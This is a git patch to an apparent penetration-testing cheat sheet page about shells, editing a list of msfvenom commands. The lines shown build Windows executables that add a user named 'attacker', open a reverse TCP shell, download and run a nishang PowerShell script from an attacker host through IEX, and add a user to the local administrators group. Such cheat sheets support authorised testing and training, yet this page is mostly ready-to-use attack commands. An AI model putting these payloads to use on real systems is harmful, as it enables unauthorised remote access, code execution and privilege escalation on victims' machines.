From e463fac3c6f708678de48d44fa873a5b31edaaad Mon Sep 17 00:00:00 2001 From: CPol Date: Tue, 15 Dec 2020 09:10:57 +0000 Subject: [PATCH] GitBook: [master] one page modified --- shells/shells/untitled.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/shells/shells/untitled.md b/shells/shells/untitled.md index 9504656a9..dfb4a44a7 100644 --- a/shells/shells/untitled.md +++ b/shells/shells/untitled.md @@ -47,10 +47,11 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` -### **Execute Command \(powershell nishang\)** +### **Execute Command** ```bash -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f python +msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe +msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` ### Encoder